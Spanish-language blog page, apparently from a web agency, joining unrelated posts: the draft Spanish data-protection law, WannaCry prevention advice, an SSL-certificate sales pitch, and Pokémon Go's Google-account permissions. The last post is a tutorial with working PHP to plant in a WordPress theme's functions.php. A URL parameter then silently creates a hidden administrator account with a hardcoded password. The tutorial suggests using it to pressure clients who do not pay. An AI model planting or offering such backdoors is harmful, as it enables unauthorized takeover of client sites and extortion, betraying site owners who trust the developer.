El Anteproyecto de lo que será la nueva Ley Orgánica de Protección de Datos está en la mesa del Consejo de Ministros desde finales de junio, tras la remisión del informe por parte del Ministro de Justicia.

Como ya es sabido, la aprobación del Reglamento 2016/679 (RGPD) respondía, por un lado, a la necesidad de dotar de una mayor protección el derecho de los usuarios al tratamiento de sus datos personales, en un contexto de crecimiento de los flujos transfronterizos, dado el auge de la globalización y de la consolidación del mercado interior. Por otro lado, como consecuencia de lo anterior, se buscó superar las barreras que impidieron el propósito armonizador de la Directiva 95/46/CE, a través de la aplicación directa y uniforme que caracteriza este tipo de norma comunitaria.

Por ello, las administraciones se han puesto en marcha en la incorporación y desarrollo del Reglamento en el ordenamiento jurídico español, a través de lo que va ser la sucesora de la actual LOPD 15/1999 y que tiene prevista su entrada en vigor a la par que la norma supranacional.

¿Qué novedades incorpora la nueva normativa?

A la espera de la tramitación legislativa de la nueva Ley Orgánica, siendo susceptible de cambios y en fase de audiencia e información pública hasta el próximo 19 de julio, entre las novedades podemos destacar: se regulan los datos referidos a las personas fallecidas, se presumen fidedignos los datos obtenidos por el propio usuario, se recoge expresamente el deber de confidencialidad, se elimina el consentimiento tácito, para dar entrada a una declaración o una clara acción afirmativa del afectado, se permite la casilla no premarcada en la formalización de los contratos y se rebaja la edad para consentir a los trece años de edad.

Además, se recoge la denominada información por capas, se incorporan los sistemas de información crediticia, las “listas Robinson” y los tratamientos realizados con fines de videovigilancia. Se añaden los derechos a la limitación del tratamiento, a la portabilidad y la obligación de bloqueo, a los ya existentes de acceso, rectificación, cancelación y oposición.

Y, señalar, la incorporación del principio de responsabilidad activa, que consiste en valorar el riesgo a priori, por el propio responsable o encargado del tratamiento, para adoptar las medidas que procedan, acabando así con el sistema de control del cumplimiento.

Otras novedades las encontramos en la figura del delegado de protección de datos que podrá tener carácter voluntario u obligatorio, estar o no integrado en la organización del responsable del tratamiento o ser persona física o jurídica y en la figura del modelo contractual que podrá aprobar la autoridad competente, en lo relativo a las transferencias internacionales de datos.

Código Ético de Confianza Online: implicaciones

Es evidente que se trata de un auténtico avance y revolución en la protección de los datos personales de los afectados y en el que se ha buscado el mayor consenso normativo de todos los Estados miembros de la UE. Y, por parte de Confianza Online, como ya hicimos en anteriores ocasiones, mantendremos nuestro compromiso de adaptar nuestro Código Ético, como código tipo inscrito en la AEPD, al nuevo paradigma normativo que resulte de la acción parlamentaria y continuar, por tanto, contribuyendo a la protección de los datos de carácter personal y mereciendo tal reconcomiendo oficial.

Desde Digital Domain S.L y como viene siendo habitual en este orden, ponemos a disposicion de todos los clientes la adaptacion lopd desde nuestro departamento legal dedicado a estos menesteres.

El mayor ciberataque a nivel mundial propagado por el ransomware WannaCryptor (WannaCry) causó que en tan sólo 24 horas el número de infecciones creciera hasta alcanzar los 185 000 equipos, en más de 100 países, implicando más de 250,000 terminales.

La pregunta es: ¿cómo poder estar lo suficientemente protegidos para evitar que esto vuelva a pasar perjudicando a usuarios y empresas de diversos sectores?

Y ello, más aún, si consideramos la amenaza que todavía representa el ransomware WannaCry, del que se sirven los cibercriminales para generar ingresos sustanciales, y el modo como se viene incrementando, año a año, el número de ataques de ransomwares, en los que se encripta o rapta información para luego solicitar dinero a modo de rescate.

En el 2016, la cantidad total de ataques con ransomwares superó en 300% a la del año anterior, con más de 4.000 ataques detectados por día, según estadísticas del gobierno estadounidense.

Por otro lado, el caso peruano es semejante al de muchos países de América Latina que están expuestos a un riesgo elevado, debido a que tiene el mayor porcentaje de computadoras con sistema Windows sin actualizar. Esto ocasionó que días antes del ciberataque mundial, una institución financiera peruana se haya visto vulnerada por el mismo tipo de fisura de Windows, advertida en su momento.

Para Bitdefender, marca líder a nivel mundial de seguridad informática, “el tipo de ataque de un ransomware como WannaCry es particularmente peligroso para las empresas, ya que basta con que un sólo empleado se infecte para que el ataque se propague por toda la red, y a veces incluso de un país a otro a través de las sucursales, sin ninguna interacción por parte de los usuarios”, refiere Jocelyn Otero, gerente de marketing para Latinoamérica de Bitdefender.

Es por eso que, según Bitdefender, resulta fundamental estar prevenidos, sobre todo manteniendo actualizadas las soluciones de seguridad que resulten eficaces para este tipo de ataques, que causan interrupciones del servicio, pérdidas financieras y, en algunos casos, pérdida permanente de datos valiosos.

“Nuestras tecnologías de introspección de memoria y de aprendizaje automático les han garantizado a nuestros clientes estar a salvo de WannaCry; el ransomware más agresivo del mundo, y que puedan estar protegidos frente a un próximo ataque de este tipo. Una de nuestras soluciones que permite sellar completamente la infraestructura contra vulnerabilidades, como lo es el Hypervisor Introspection, fue capaz de prevenir el aprovechamiento de la vulnerabilidad, mucho antes de que esta se diera a conocer y Microsoft lance un parche para ella”,  afirmó Harish Agastya, vicepresidente de Soluciones Corporativas de Bitdefender. 

En la coyuntura actual, es probable que los gobiernos y las compañías continúen divulgando casos de infección durante los próximos días o semanas mientras mejoran el alcance del ataque. Ante ello y la creciente ola de ataques de ransomware, Bitdefender da a conocer algunas recomendaciones básicas para usuarios y empresas, algunas de las cuales son dadas por el FBI:

Mantenga su computadora actualizada. Es importante implementar la revisión MS17-010 y actualizar inmediatamente su solución anti-malware de acuerdo a su país. Es importante que las soluciones antivirus y antimalware estén configuradas para actualizarse automáticamente y que se realicen análisis periódicos.

Realice regularmente una copia de seguridad de sus datos y verifique la integridad de esas copias de seguridad. Las copias son fundamentales en incidentes de ransomware. Si está infectado, pueden ser la mejor manera de recuperar sus datos críticos.

Desactive manualmente el protocolo SMB, mientras no lo esté utilizando.

Proteja sus copias de seguridad. Asegúrese de que no estén conectadas a los equipos y redes.

Examine los enlaces que contienen los correos electrónicos y no abra los archivos adjuntos incluidos en los correos electrónicos no solicitados. Sólo descargue software -especialmente libre- de sitios que conoce y confía. En la medida que sea posible, verifique la integridad del software a través de una firma digital antes de ejecutarlo.

Asegúrese de que los parches de la aplicación para el sistema operativo, el software y el firmware estén actualizados, incluidos Adobe Flash, Java, navegadores Web, etc.

Deshabilite las secuencias de comandos de las macro de los archivos transmitidos por correo electrónico. Considere la posibilidad de utilizar el software de Office Viewer para abrir archivos de Microsoft Office enviados por correo electrónico, en lugar de aplicaciones completas de Office Suite.

Implemente restricciones de software u otros controles para evitar la ejecución de programas en ubicaciones comunes de ransomware, como carpetas temporales que soportan navegadores populares de Internet o programas de compresión/descompresión, ubicados en la carpeta AppData/LocalAppData.

A continuación, algunas consideraciones adicionales para empresas:

Corregir todos los sistemas operativos, software y firmware del dispositivo de punto final a medida que se descubren las vulnerabilidades. Esta precaución puede ser facilitada a través de un sistema de administración de parches centralizado.

Centrarse en la sensibilización y la formación. Debido a que los usuarios finales son a menudo el objetivo, los empleados deben ser conscientes de la amenaza que representa el ransomware, en cómo se entrega y, además, deben estar capacitados en los principios y técnicas de seguridad de la información.

Administrar el uso de cuentas privilegiadas a través de la implementación del principio de los privilegios mínimos. Ningún usuario debe tener acceso administrativo a menos que sea absolutamente necesario. Si un usuario sólo necesita leer archivos específicos, no debería tener acceso de escritura a esos documentos, directorios o recursos compartidos.

Utilice entornos virtualizados para ejecutar entornos de sistemas operativos o programas específicos.

Categorice datos basados ​​en el valor de la organización e implemente separación física/lógica de redes y datos para diferentes unidades organizativas. Por ejemplo, la investigación sensible o los datos empresariales no deben alojarse en el mismo servidor y/o segmento de red como el entorno de correo electrónico de una organización.

Requerir la interacción del usuario para que las aplicaciones del usuario final se comuniquen con sitios web sin categoría por el proxy de red o firewall. Por ejemplo, en caso haya un requerimiento de parte del usuario de escribir información o ingresar a una contraseña cuando el sistema se inicia.

Esta medida ya ha sido anunciada por Google en su blog de seguridad.

Afectará a las webs no seguras en un aumento de la tasa de rebote (abandono), en el descenso del tráfico web y de los tiempos de navegación, lo que influirá directamente al SEO y a la pérdida de posiciones en los resultados de búsqueda.

¿Cómo saber si tu WEB es segura según Google?

Si no sabes si dispones de un certificado SSL, simplemente fíjate en la url de tu web, ¿cómo lo ves?

¿Tu WEB tiene un certificado SSL?

Cuanto antes instales un certificado SSL en tu web, menor serán los posibles efectos negativos y más segura será tu web. El coste no es elevado, hay certificados con un coste anual muy asequible. Si lo necesitas, pregúntanos y valoraremos tu caso.

Por tanto, si aun no tienes un certificado de seguridad https, como ya comentabamos en articulos anteriores de este mismo blog, desde Digital Domain recomendamos que no tardais mucho en realizar esta implantacion.

Este tipo de certificados (que recomendamos) los estamos ofreciendo desde tan solo 250 euros anuales. Existen otro tipo de certificados mas sencillos y mas economicos.

pokemon go

Si ingresas a ‘Pokémon Go’ con tu cuenta de Google, quizás le hayas entregado toda tu vida digital a los desarrolladores del juego.Con Pokémon Go, no eres el único con el impulso de cazar.

El desarrollador del inmensamente popular juego Pokémon Go, Niantic Labs, tiene acceso total a tu cuenta de Google si la utilizaste para ingresar al juego en tu dispositivo iOS.

Esto le concede a Niantic acceso a toda tu información, así como a la capacidad de publicar, borrar y enviar cosas desde tu cuenta. En otras palabras, el ingresar al juego con tu cuenta de Google es una forma muy efectiva de dar acceso total a tu email, contactos, fotos, documentos… ¡todo!

Pero eso no es todo. No hay forma de que sepas que has concedido todo este acceso si acabas de descargar el juego e ingresado a él con tu cuenta de Google. Para ver si has dado acceso a tus datos, tienes que ir a los ajustes de tu cuenta de Google y ver cuáles apps tienen acceso completo a tus datos.

Niantic y Google no respondieron a una solicitud de comentario sobre el tema.

El experto de seguridad cibernética Adam Reeve detalló su experiencia al descubrir que había dado acceso completo de su cuenta de Google a Pokémon Go en un blog en viernes. Jason Cipriani, un redactor para CNET, experimentó lo mismo cuando fue a revisar los ajustes de su cuenta de Google. Reeve subrayó que la versión Android del app no obtiene acceso completo a tu cuenta de Google.

Reeve dice que darle acceso a tu cuenta de Google a una empresa extraña no sólo es raro, sino también peligroso. Si Niantic sufre un ataque cibernético, por ejemplo, los hackers pueden acceder tu cuenta de Google. Debido a que usamos frecuentemente nuestras cuentas de Gmail para resetear los códigos de acceso a todas nuestras cuentas, esto prácticamente le concede a los hackers acceso a todas las cuentas online que tengamos.

“Revoca los permisos a través de Google y desinstala el app”, aconseja Reeve.

Si no lo haces, prácticamente estás diciendo: “Pikachu, te escojo a ti por encima de mi privacidad“.

Este consejo le puede venir bien a mucha gente, ya que el app ha sido descargado 7.5 millones de veces, de acuerdo con la firma SensorTower. No está claro cuántos jugadores de Pokémon Go lo juegan en un dispositivo iOS o están ingresando con una cuenta de Google.

Los que abogan por la privacidad están haciendo un llamado a los desarrolladores de apps y a las fabricantes de teléfonos de hacer un mejor trabajo de explicar cuántos de tus datos se recoge y cuándo se realiza esto.

Fuente: cnet

Hoy te voy a enseñar a crear una “puerta trasera” a una Web hecha con WordPress a cuyo servidor tengas acceso.

Este truco no te permite hackear cualquier WordPress, sólo crear una puerta trasera en una Web a cuyo servidor puedas conectarte para que, en caso de que sea necesario, puedas acceder en un futuro.

El uso que quieras darle a esta puerta trasera depende de ti… pero se me ocurren dos usos “benévolos”:
– Como medida de seguridad en caso de que un cliente pierda el acceso a la Web y no tenga ninguna forma de recuperarlo
– Como medida de presión en caso de que un cliente se niegue a pagar un trabajo que le hayas hecho

En realidad se me ocurren muchos usos “malévolos” para un backdoor, pero prefiero dejar que utilices tu imaginación
¿Seguro que quieres crear una puerta trasera para WordPress? Entonces sigue los siguientes pasos:

1. PEGA EL CÓDIGO EN EL FUNCTIONS.PHP

Pega el siguiente código en el archivo functions.php del tema de WordPress:

/* Función para crear una puerta trasera en WordPress */
add_action('wp_head', 'puerta_trasera');
function puerta_trasera() {
If ($_GET['backdoor'] == 'create') {
require('wp-includes/registration.php');
If (!username_exists('backdoor')) {
$user_id = wp_create_user('backdoor', 'c0ntra5eNYa');
$user = new WP_User($user_id);
$user->set_role('administrator');
echo 'Puerta trasera creada';
die();
}
}
}


Si no existe el archivo functions.php en tu tema, créalo y recuerda poner <?php al comienzo para que pueda ejecutarse el código PHP.

Ahora ya está listo para ejecutarse en caso necesario.

2. EJECUTA EL CÓDIGO

Si se da el caso de que necesites crear una puerta trasera a WordPress, accede a la Web introduciendo el parámetro ?backdoor=create al final de la URL, así:

http://tudominio.com?backdoor=create

Esto hace que WordPress ejecute el código que hemos introducido en el archivo functions.php y cree un usuario con permisos de administrador.

3. ACCEDE A WORDPRESS

Ahora podrás loguearte en WordPress accediendo a http://tudominio.com/wp-login.php y utilizando las siguientes credenciales:

Usuario:        backdoor
Contraseña:  c0ntra5eNYa

Una vez dentro, verás que tienes credenciales de administrador, lo que significa que puedes hacer todo lo que quieras, incluso eliminar a otros administradores:

¡ADVERTENCIA!

¿Recuerdas la famosa frase del Tío Ben en la película de Spiderman: “Un gran poder conlleva una gran responsabilidad”? Pues eso… ¡sólo porque puedas crear una puerta trasera en la Web de un cliente no significa que debas usarla!

Ten en cuenta que utilizar este código es un riesgo para la seguridad de la Web. Cualquiera podría ejecutar esta función si llama al parámetro correcto en la URL.

CONSULTA CON TU ABOGADO PRIMERO: si vas a utilizar este código en la Web de un cliente, tal vez debas especificar en el contrato que firméis que podrías utilizar una puerta trasera en caso de impago o pérdida de las credenciales de acceso.

Fuente: www.metricspot.com